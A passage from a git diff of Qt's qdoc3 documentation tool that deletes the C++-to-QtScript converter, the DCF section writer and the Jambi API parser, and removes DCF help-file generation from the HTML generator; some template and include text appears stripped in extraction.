qsTree */, - const QString& comment, - const QSet& classesWithNoQ ) - -{ - QString result = comment; - - result.replace( "TRUE", "true" ); - result.replace( "FALSE", "false" ); - result.replace( addressOperatorRegExp, "\\1\\2" ); - result.replace( gulbrandsenRegExp, "." ); - - int i = 0; - while ( (i = result.indexOf(qClassRegExp, i)) != -1 ) { - if ( classesWithNoQ.contains(qClassRegExp.cap(1)) ) - result.remove( i, 1 ); - i++; - } - return result; -} - -QString CppToQsConverter::convertExpr( Tree *qsTree, const QString& expr, - const QSet& classesWithNoQ ) -{ - // suboptimal - return convertComment( qsTree, expr, classesWithNoQ ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/cpptoqsconverter.h b/tools/qdoc3/cpptoqsconverter.h deleted file mode 100644 index 001091b..0000000 --- a/tools/qdoc3/cpptoqsconverter.h +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - cpptoqsconverter.h -*/ - -#ifndef CPPTOQSCONVERTER_H -#define CPPTOQSCONVERTER_H - -#include - -#include "tree.h" - -QT_BEGIN_NAMESPACE - -class CppToQsConverter -{ -public: - CppToQsConverter() { } - - ClassNode *findClassNode( Tree *qsTree, const QString& qtName ); - QString convertedDataType( Tree *qsTree, const QString& leftType, - const QString& rightType = "" ); - QString convertedCode( Tree *qsTree, const QString& code, - const QSet& classesWithNoQ ); - - static void initialize( const Config& config ); - static void terminate(); - -private: - void clearState(); - QString convertCodeLine( Tree *qsTree, const QStringList& program, - const QString& code, - const QSet& classesWithNoQ ); - QString convertComment( Tree *qsTree, const QString& comment, - const QSet& classesWithNoQ ); - QString convertExpr( Tree *qsTree, const QString& expr, - const QSet& classesWithNoQ ); - void updateDelimDepths( const QString& code ); - - static QRegExp qClassRegExp; - static QRegExp addressOperatorRegExp; - static QRegExp gulbrandsenRegExp; - static int tabSize; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/dcfsection.cpp b/tools/qdoc3/dcfsection.cpp deleted file mode 100644 index ea10dbf..0000000 --- a/tools/qdoc3/dcfsection.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include - -#include "dcfsection.h" -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -void appendDcfSubSection( DcfSection *dcfSect, const DcfSection& sub ) -{ - dcfSect->subsections.append( sub ); -} - -void appendDcfSubSections( DcfSection *dcfSect, const QList& subs ) -{ - dcfSect->subsections += subs; -} - -void generateDcfSubSections( QString indent, QTextStream& out, const DcfSection& sect ) -{ - QList::const_iterator ss = sect.subsections.constBegin(); - while ( ss != sect.subsections.constEnd() ) { - out << indent << "
    \n"; - } else { - out << ">\n"; - QString indentIndent = indent + " "; - QList >::const_iterator k = (*ss).keywords.constBegin(); - while ( k != (*ss).keywords.constEnd() ) { - out << indentIndent << "" - << HtmlGenerator::protect((*k).first) << "\n"; - ++k; - } - - generateDcfSubSections( indentIndent, out, *ss ); - out << indent << "
    \n"; - } - ++ss; - } - out.flush(); -} - -void generateDcfSections( const DcfSection& rootSect, const QString& fileName, - const QString& /* category */ ) -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QTextStream out(&file); - - QString icon = QFileInfo(fileName).baseName() + ".png"; - - out << "\n"; - out << "\n"; - - generateDcfSubSections( "", out, rootSect ); - - out << "\n"; - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/dcfsection.h b/tools/qdoc3/dcfsection.h deleted file mode 100644 index 0318511..0000000 --- a/tools/qdoc3/dcfsection.h +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef DCFSECTION_H -#define DCFSECTION_H - -#include -#include -#include - -QT_BEGIN_NAMESPACE - -class QTextStream; - -struct DcfSection -{ - QString title; - QString ref; - QList > keywords; - QList subsections; -}; - -inline bool operator<( const DcfSection& s1, const DcfSection& s2 ) { - QString title1 = s1.title; - QString title2 = s2.title; - - // cheat with Q3 classes - if (title1.startsWith("Q3")) - title1.insert(1, '~'); - if (title2.startsWith("Q3")) - title2.insert(1, '~'); - - int delta = title1.toLower().compare( title2.toLower() ); - if ( delta == 0 ) { - delta = title1.compare( title2 ); - if ( delta == 0 ) - delta = s1.ref.localeAwareCompare( s2.ref ); - } - return delta < 0; -} - -inline bool operator>( const DcfSection& s1, const DcfSection& s2 ) { return s2 < s1; } -inline bool operator<=( const DcfSection& s1, const DcfSection& s2 ) { return !( s2 < s1 ); } -inline bool operator>=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 < s2 ); } -inline bool operator==( const DcfSection& s1, const DcfSection& s2 ) { return &s1 == &s2; } -inline bool operator!=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 == s2 ); } - -void appendDcfSubSection(DcfSection *dcfSect, const DcfSection &sub); -void appendDcfSubSections(DcfSection *dcfSect, const QList &subs); -void generateDcfSubSections(QString indent, QTextStream &out, const DcfSection §); -void generateDcfSections(const DcfSection &rootSect, const QString& fileName, - const QString& category ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 3f35f76..0cd534e 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -355,7 +355,7 @@ QString HtmlGenerator::format() } /*! - This is where the HTML and DCF files are written. + This is where the HTML files are written. \note The HTML file generation is done in the base class, PageGenerator::generateTree(). */ @@ -380,43 +380,6 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) PageGenerator::generateTree(tree, marker); - dcfClassesRoot.ref = "classes.html"; - dcfClassesRoot.title = "Classes"; - qSort(dcfClassesRoot.subsections); - - dcfOverviewsRoot.ref = "overviews.html"; - dcfOverviewsRoot.title = "Overviews"; - qSort(dcfOverviewsRoot.subsections); - - dcfExamplesRoot.ref = "examples.html"; - dcfExamplesRoot.title = "Tutorial & Examples"; - qSort(dcfExamplesRoot.subsections); - - DcfSection qtRoot; - appendDcfSubSection(&qtRoot, dcfClassesRoot); - appendDcfSubSection(&qtRoot, dcfOverviewsRoot); - appendDcfSubSection(&qtRoot, dcfExamplesRoot); - - generateDcf(project.toLower().simplified().replace(" ", "-"), - "index.html", - projectDescription, qtRoot); - generateDcf("designer", - "designer-manual.html", - "Qt Designer Manual", - dcfDesignerRoot); - generateDcf("linguist", - "linguist-manual.html", - "Qt Linguist Manual", - dcfLinguistRoot); - generateDcf("assistant", - "assistant-manual.html", - "Qt Assistant Manual", - dcfAssistantRoot); - generateDcf("qmake", - "qmake-manual.html", - "qmake Manual", - dcfQmakeRoot); - QString fileBase = project.toLower().simplified().replace(" ", "-"); generateIndex(fileBase, projectUrl, projectDescription); generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); @@ -1253,11 +1216,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, title = rawTitle + " Class Reference"; } - DcfSection classSection; - classSection.title = title; - classSection.ref = linkForNode(inner, 0); - classSection.keywords += qMakePair(inner->name(), classSection.ref); - Text subtitleText; if (rawTitle != fullTitle) subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" @@ -1420,8 +1378,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, names << plainCode(marker->markedUpEnumValue(enumName, enume)); } - foreach (const QString &name, names) - classSection.keywords += qMakePair(name,linkForNode(*m,0)); } ++m; } @@ -1430,27 +1386,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, ++s; } generateFooter(inner); - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&classSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&classSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&classSection, compatSection); - } - - appendDcfSubSection(&dcfClassesRoot, classSection); } /*! @@ -1460,9 +1395,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { SubTitleSize subTitleSize = LargeSubTitle; - DcfSection fakeSection; - fakeSection.title = fake->fullTitle(); - fakeSection.ref = linkForNode(fake, 0); QList
    sections; QList
    ::const_iterator s; @@ -1542,25 +1474,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) << "Qt 3 support members\n"; out() << "\n"; - - if (!membersLink.isEmpty()) { - DcfSection membersSection; - membersSection.title = "List of all members"; - membersSection.ref = membersLink; - appendDcfSubSection(&fakeSection, membersSection); - } - if (!obsoleteLink.isEmpty()) { - DcfSection obsoleteSection; - obsoleteSection.title = "Obsolete members"; - obsoleteSection.ref = obsoleteLink; - appendDcfSubSection(&fakeSection, obsoleteSection); - } - if (!compatLink.isEmpty()) { - DcfSection compatSection; - compatSection.title = "Qt 3 support members"; - compatSection.ref = compatLink; - appendDcfSubSection(&fakeSection, compatSection); - } } #ifdef QDOC_QML else if (fake->subType() == Node::QmlClass) { @@ -1603,8 +1516,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) while (m != (*s).members.end()) { generateDetailedQmlMember(*m, fake, marker); out() << "
    \n"; - fakeSection.keywords += qMakePair((*m)->name(), - linkForNode(*m,0)); ++m; } ++s; @@ -1649,8 +1560,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) generateAnnotatedList(fake, marker, groupMembersMap); } - fakeSection.keywords += qMakePair(fakeSection.title, fakeSection.ref); - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1660,35 +1569,11 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) NodeList::ConstIterator m = (*s).members.begin(); while (m != (*s).members.end()) { generateDetailedMember(*m, fake, marker); - fakeSection.keywords += qMakePair((*m)->name(), linkForNode(*m, 0)); ++m; } ++s; } generateFooter(fake); - - if (fake->subType() == Node::Example) { - appendDcfSubSection(&dcfExamplesRoot, fakeSection); - } - else if (fake->subType() != Node::File) { - QString contentsPage = fake->links().value(Node::ContentsLink).first; - - if (contentsPage == "Qt Designer Manual") { - appendDcfSubSection(&dcfDesignerRoot, fakeSection); - } - else if (contentsPage == "Qt Linguist Manual") { - appendDcfSubSection(&dcfLinguistRoot, fakeSection); - } - else if (contentsPage == "Qt Assistant Manual") { - appendDcfSubSection(&dcfAssistantRoot, fakeSection); - } - else if (contentsPage == "qmake Manual") { - appendDcfSubSection(&dcfQmakeRoot, fakeSection); - } - else { - appendDcfSubSection(&dcfOverviewsRoot, fakeSection); - } - } } /*! @@ -3464,10 +3349,7 @@ QString HtmlGenerator::linkForNode(const Node *node, const Node *relative) fn = fileName(node); /* if (!node->url().isEmpty()) return fn;*/ -#if 0 - // ### reintroduce this test, without breaking .dcf files - if (fn != outFileName()) -#endif + link += fn; if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) { @@ -3959,16 +3841,6 @@ QString HtmlGenerator::getLink(const Atom *atom, return link; } -void HtmlGenerator::generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, - DcfSection &dcfRoot) -{ - dcfRoot.ref = startPage; - dcfRoot.title = title; - generateDcfSections(dcfRoot, outputDir() + "/" + fileBase + ".dcf", fileBase + "/reference"); -} - void HtmlGenerator::generateIndex(const QString &fileBase, const QString &url, const QString &title) diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 1b3de9e..c0a4ce8 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -52,7 +52,6 @@ #include "codemarker.h" #include "config.h" -#include "dcfsection.h" #include "pagegenerator.h" QT_BEGIN_NAMESPACE @@ -253,9 +252,6 @@ class HtmlGenerator : public PageGenerator const Node *relative, CodeMarker *marker, const Node** node); - virtual void generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, DcfSection &dcfRoot); virtual void generateIndex(const QString &fileBase, const QString &url, const QString &title); @@ -282,13 +278,6 @@ class HtmlGenerator : public PageGenerator #endif QMap refMap; int codeIndent; - DcfSection dcfClassesRoot; - DcfSection dcfOverviewsRoot; - DcfSection dcfExamplesRoot; - DcfSection dcfDesignerRoot; - DcfSection dcfLinguistRoot; - DcfSection dcfAssistantRoot; - DcfSection dcfQmakeRoot; HelpProjectWriter *helpProjectWriter; bool inLink; bool inObsoleteLink; diff --git a/tools/qdoc3/jambiapiparser.cpp b/tools/qdoc3/jambiapiparser.cpp deleted file mode 100644 index 23f2716..0000000 --- a/tools/qdoc3/jambiapiparser.cpp +++ /dev/null @@ -1,546 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.cpp -*/ - -#include "cppcodeparser.h" -#include "jambiapiparser.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static const char USED_INTERNALLY[] = ""; - -static Text textWithFixedBrief(const Text &text, const Text &beforeBrief, - const Text &afterBrief) -{ - Text result; - - const Atom *atom = text.firstAtom(); - while (atom) { - if (atom->type() == Atom::BriefLeft) { - result << Atom::ParaLeft << beforeBrief; - } else if (atom->type() == Atom::BriefRight) { - result << afterBrief << Atom::ParaRight; - } else { - result << *atom; - } - atom = atom->next(); - } - - return result; -} - -static void setPass1JambifiedDoc(Node *javaNode, const Node *cppNode, const QString &qName = "") -{ - Doc newDoc(cppNode->doc()); - - if (javaNode->type() == Node::Function) { - const FunctionNode *javaFunc = static_cast(javaNode); - if (cppNode->type() == Node::Function) { - const FunctionNode *cppFunc = static_cast(cppNode); - if (const PropertyNode *property = cppFunc->associatedProperty()) { - newDoc = property->doc(); - Text text(newDoc.body()); - - Node *mutableCppNode = const_cast(cppNode); - if (property->getters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (property->setters().contains(mutableCppNode)) { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } else if (property->resetters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Resets "), Text(".")); - } - - newDoc.setBody(text); - } else { - QStringList javaParams = javaFunc->parameterNames(); - QStringList cppParams = cppFunc->parameterNames(); - newDoc.renameParameters(cppParams, javaParams); - - if (cppNode->access() == Node::Private) { - Text text; - text << Atom::ParaLeft; - if (cppFunc->reimplementedFrom()) { - text << "This function is reimplemented for internal reasons."; - } else { - text << USED_INTERNALLY; - } - text << Atom::ParaRight; - newDoc.setBody(text); - } - } - } else if (cppNode->type() == Node::Variable) { - Text text(newDoc.body()); - - if (qName == "variablegetter") { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (qName == "variablesetter") { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } - - newDoc.setBody(text); - } - } else { // ### enum value names? - - } - - javaNode->setDoc(newDoc, true); -} - -static void setStatus(Node *javaNode, const Node *cppNode) -{ - if (cppNode->status() == Node::Compat) { - javaNode->setStatus(Node::Obsolete); - } else { - javaNode->setStatus(cppNode->status()); - } -} - -static Text findEnumText(Node *javaEnum, const QString &enumItemName) -{ - const Text &body = javaEnum->doc().body(); - const Atom *atom = body.firstAtom(); - while (atom) { - if (atom->type() == Atom::ListTagLeft && atom->string() == ATOM_LIST_VALUE) { - atom = atom->next(); - if (atom) { - // ### paras? - if (atom->string() == enumItemName) - return body.subText(Atom::ListItemLeft, Atom::ListItemRight, atom); - } - } else { - atom = atom->next(); - } - } - return Text(); -} - -JambiApiParser::JambiApiParser(Tree *cppTree) - : cppTre(cppTree), javaTre(0), metJapiTag(false) -{ -} - -JambiApiParser::~JambiApiParser() -{ -} - -void JambiApiParser::initializeParser(const Config &config) -{ - CodeParser::initializeParser(config); -} - -void JambiApiParser::terminateParser() -{ - CodeParser::terminateParser(); -} - -QString JambiApiParser::language() -{ - return "Java"; -} - -QString JambiApiParser::sourceFileNameFilter() -{ - return "*.japi"; -} - -void JambiApiParser::parseSourceFile(const Location &location, const QString &filePath, Tree *tree) -{ - javaTre = tree; - metJapiTag = false; - - QXmlSimpleReader reader; - reader.setContentHandler(this); - reader.setErrorHandler(this); - - QFile file(filePath); - if (!file.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open JAPI file '%1'").arg(filePath)); - return; - } - - japiLocation = Location(filePath); - QXmlInputSource xmlSource(&file); - reader.parse(xmlSource); -} - -void JambiApiParser::doneParsingSourceFiles(Tree * /* tree */) -{ - /* - Also import the overview documents. - */ - foreach (Node *cppNode, cppTre->root()->childNodes()) { - if (cppNode->type() == Node::Fake) { - FakeNode *cppFake = static_cast(cppNode); - if (cppFake->subType() == Node::Page) { - FakeNode *javaFake = new FakeNode(javaTre->root(), - cppFake->name(), - cppFake->subType()); - javaFake->setModuleName("com.trolltech.qt"); // ### hard-coded - javaFake->setTitle(cppFake->title()); - javaFake->setSubTitle(cppFake->subTitle()); - setStatus(javaFake, cppFake); - setPass1JambifiedDoc(javaFake, cppFake); - } - } - } - - /* - Fix the docs. - */ - if (javaTre) { - javaTre->resolveInheritance(); - jambifyDocsPass2(javaTre->root()); - javaTre = 0; - } -} - -bool JambiApiParser::startElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName, - const QXmlAttributes &attributes) -{ - if (!metJapiTag && qName != "japi") { - // ### The file is not a JAPI file. - return true; - } - metJapiTag = true; - - EnumNode *javaEnum = 0; - EnumNode *cppEnum = 0; - InnerNode *javaParent = javaTre->root(); - InnerNode *cppParent = cppTre->root(); - - for (int i = 0; i < classAndEnumStack.count(); ++i) { - const ClassOrEnumInfo &info = classAndEnumStack.at(i); - if (info.cppNode) { - if (info.cppNode->type() == Node::Enum) { - Q_ASSERT(info.javaNode->type() == Node::Enum); - javaEnum = static_cast(info.javaNode); - cppEnum = static_cast(info.cppNode); - } else { - Q_ASSERT(info.javaNode->type() == Node::Class - || info.javaNode->type() == Node::Namespace); - javaParent = static_cast(info.javaNode); - cppParent = static_cast(info.cppNode); - } - } - } - - if (qName == "class" || qName == "enum") { - Node::Type type = (qName == "class") ? Node::Class : Node::Enum; - - QString javaExtends = attributes.value("java-extends"); - QString javaImplements = attributes.value("javaimplements"); - - ClassOrEnumInfo info; - info.tag = qName; - info.javaName = attributes.value("java"); - info.cppName = attributes.value("cpp"); - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - if (!info.cppNode && type == Node::Class) { - type = Node::Namespace; - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - } - - if (!info.cppNode) { - japiLocation.warning(tr("Cannot find C++ class or enum '%1'").arg(info.cppName)); - } else { - if (qName == "class") { - ClassNode *javaClass = new ClassNode(javaParent, info.javaName); - javaClass->setModuleName(attributes.value("package")); - if (!javaExtends.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaExtends.split('.'), - javaExtends); - if (!javaImplements.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaImplements.split('.'), - javaExtends); - - info.javaNode = javaClass; - } else { - info.javaNode = new EnumNode(javaParent, info.javaName); - } - info.javaNode->setLocation(japiLocation); - setStatus(info.javaNode, info.cppNode); - - setPass1JambifiedDoc(info.javaNode, info.cppNode); - } - classAndEnumStack.push(info); - } else if (qName == "method" || qName == "signal") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppSignature = attributes.value("cpp"); - - CppCodeParser cppParser; - const FunctionNode *cppNode = cppParser.findFunctionNode(cppSignature, cppTre, - cppParent, - true /* fuzzy */); - if (!cppNode) { - bool quiet = false; - - /* - Default constructors sometimes don't exist in C++. - */ - if (!quiet && javaSignature == "public " + javaParent->name() + "()") - quiet = true; - - if (!quiet) - japiLocation.warning(tr("Cannot find C++ function '%1' ('%2')") - .arg(cppSignature).arg(cppParent->name())); - } - - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - if (qName == "signal") - javaNode->setMetaness(FunctionNode::Signal); - - if (cppNode) { - setStatus(javaNode, cppNode); - - int overloadNo = cppNode->parameters().count() - javaNode->parameters().count() + 1; - if (overloadNo == 1) { - setPass1JambifiedDoc(javaNode, cppNode); - } else { - Text text; - - text << Atom::ParaLeft << "Equivalent to " - << Atom(Atom::Link, javaNode->name() + "()") - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_LINK) - << javaNode->name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK) - << "("; - - for (int i = 0; i < cppNode->parameters().count(); ++i) { - if (i > 0) - text << ", "; - if (i < javaNode->parameters().count()) { - text << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaNode->parameters().at(i).name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } else { - // ### convert to Java - text << cppNode->parameters().at(i).defaultValue(); - } - } - - text << ")."; - - Doc doc; - doc.setBody(text); - javaNode->setDoc(doc, true); - } - javaNode->setOverload(overloadNo > 1); - } - } - } else if (qName == "variablesetter" || qName == "variablegetter") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppVariable = attributes.value("cpp"); - - VariableNode *cppNode = static_cast(cppParent->findNode(cppVariable, - Node::Variable)); - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - - if (!cppNode) { -#if 0 - japiLocation.warning(tr("Cannot find C++ variable '%1' ('%2')") - .arg(cppVariable).arg(cppParent->name())); -#endif - javaNode->setDoc(Doc(japiLocation, japiLocation, - USED_INTERNALLY, - QSet()), true); - } else { - setPass1JambifiedDoc(javaNode, cppNode, qName); - setStatus(javaNode, cppNode); - } - } - } else if (qName == "enum-value") { - QString javaName = attributes.value("java"); - QString cppName = attributes.value("cpp"); - QString value = attributes.value("value"); - - if (javaEnum) { - EnumItem item(javaName, value, findEnumText(javaEnum, javaName)); - javaEnum->addItem(item); - } - } - - return true; -} - -bool JambiApiParser::endElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName) -{ - if (qName == "class" || qName == "enum") - classAndEnumStack.pop(); - return true; -} - -bool JambiApiParser::fatalError(const QXmlParseException &exception) -{ - japiLocation.setLineNo(exception.lineNumber()); - japiLocation.setColumnNo(exception.columnNumber()); - japiLocation.warning(tr("Syntax error in JAPI file (%1)").arg(exception.message())); - return true; -} - -void JambiApiParser::jambifyDocsPass2(Node *node) -{ - const Doc &doc = node->doc(); - if (!doc.isEmpty()) { - if (node->type() == Node::Enum) { - Doc newDoc(doc); - newDoc.simplifyEnumDoc(); - node->setDoc(newDoc, true); - } - } - - if (node->isInnerNode()) { - InnerNode *innerNode = static_cast(node); - foreach (Node *child, innerNode->childNodes()) - jambifyDocsPass2(child); - } -} - -bool JambiApiParser::makeFunctionNode(InnerNode *parent, const QString &synopsis, - FunctionNode **funcPtr) -{ - Node::Access access = Node::Public; - FunctionNode::Metaness metaness = FunctionNode::Plain; - bool final = false; - bool statique = false; - - QString mySynopsis = synopsis.simplified(); - int oldLen; - do { - oldLen = mySynopsis.length(); - - if (mySynopsis.startsWith("public ")) { - mySynopsis.remove(0, 7); - access = Node::Public; - } - if (mySynopsis.startsWith("protected ")) { - mySynopsis.remove(0, 10); - access = Node::Protected; - } - if (mySynopsis.startsWith("private ")) { - mySynopsis.remove(0, 8); - access = Node::Private; - } - if (mySynopsis.startsWith("native ")) { - mySynopsis.remove(0, 7); - metaness = FunctionNode::Native; - } - if (mySynopsis.startsWith("final ")) { - mySynopsis.remove(0, 6); - final = true; - } - if (mySynopsis.startsWith("static ")) { - mySynopsis.remove(0, 7); - statique = true; - } - } while (oldLen != mySynopsis.length()); - - // method or constructor - QRegExp funcRegExp("(?:(.*) )?([A-Za-z_0-9]+)\\((.*)\\)"); - if (!funcRegExp.exactMatch(mySynopsis)) - return false; - - QString retType = funcRegExp.cap(1); - QString funcName = funcRegExp.cap(2); - QStringList params = funcRegExp.cap(3).split(","); - - FunctionNode *func = new FunctionNode(parent, funcName); - func->setReturnType(retType); - func->setAccess(access); - func->setStatic(statique); - func->setConst(final); - func->setMetaness(metaness); - - QRegExp paramRegExp(" ?([^ ].*) ([A-Za-z_0-9]+) ?"); - - foreach (const QString ¶m, params) { - if (paramRegExp.exactMatch(param)) { - func->addParameter(Parameter(paramRegExp.cap(1), "", paramRegExp.cap(2))); - } else { - // problem - } - } - - if (funcPtr) { - *funcPtr = func; - } else if (!parent) { - delete func; - } - return true; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/jambiapiparser.h b/tools/qdoc3/jambiapiparser.h deleted file mode 100644 index ecfaab5..0000000 --- a/tools/qdoc3/jambiapiparser.h +++ 